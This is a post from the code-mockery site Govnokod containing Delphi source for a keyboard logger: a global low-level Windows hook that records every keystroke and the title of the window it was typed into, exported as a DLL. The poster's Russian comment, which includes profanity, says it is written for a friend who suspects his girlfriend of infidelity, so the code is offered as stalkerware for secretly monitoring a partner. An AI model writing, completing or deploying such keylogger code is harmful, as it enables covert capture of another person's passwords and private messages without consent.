1. Pascal / Говнокод #24859

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    unit KHook;

interface

uses Windows, SysUtils, Messages;

const
  WH_KEYBOARD_LL = 13;
  LLKHF_UP = $0080;

type
  TKbdHookEvent=procedure (S:WideString);

type
  PKbdDllHookStruct = ^TKbdDllHookStruct;
  TKbdDllHookStruct = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  KBDLLHOOKSTRUCT = TKbdDllHookStruct;

implementation

var
  KbdProc:TKbdHookEvent=nil;
  Hook:HHOOk;
  WinTitle:WideString='';

function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
var
  KeyName:WideString;
  CurrWinTitle:WideString;
  KeyState : TKeyboardState;
  hklLayout:HKL;
  FW:HWND;
begin
   try
    if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
    begin
      FW:=GetForegroundWindow;
      hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
      GetKeyboardState(KeyState);
      SetLength(CurrWinTitle, 1000);
      SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
      with PKbdDllHookStruct(LParam)^ do
      case vkCode of
        VK_BACK:     KeyName := '[BackSpace]';
        VK_TAB:      KeyName := '[Tab]';
        VK_CAPITAL:  KeyName := '[CapsLock]';
        VK_RETURN:   KeyName := '[Enter]';
        VK_ESCAPE:   KeyName := '[Esc]';
        VK_CANCEL:   KeyName :=  '[Cancel]';
        VK_F1:       KeyName := '[F1]';
			{...}
        VK_HELP:     KeyName := '[Help]';
      else
        SetLength(KeyName,1);
        KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
        KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
        if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
        KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
      end;
      if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
      if WinTitle='' then
      begin
        WinTitle:=CurrWinTitle;
        KeyName:=CurrWinTitle+' {'#13#10+KeyName;
      end
      else if WinTitle <> CurrWinTitle then
      begin
        WinTitle:=CurrWinTitle;
        KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
      end;
      KbdProc(KeyName);
    end;
  finally
     Result := CallNextHookEx(Hook,nCode,wParam,lParam);
  end;
end;

function SetHook(lpCallBack:TKbdHookEvent):Boolean;
begin
  if Assigned(lpCallBack) then
  KbdProc:=lpCallBack;
  Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
  Result:=(Hook <> INVALID_HANDLE_VALUE);
end;

function RemoveHook:Boolean;
begin
   Result:=UnHookWindowsHookEx(Hook);
end;

  exports SetHook,
   RemoveHook;
end.

    Клавиатурный сексот на Delphi.
    Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.

    Запостил: BagorCtretora, 04 Октября 2018

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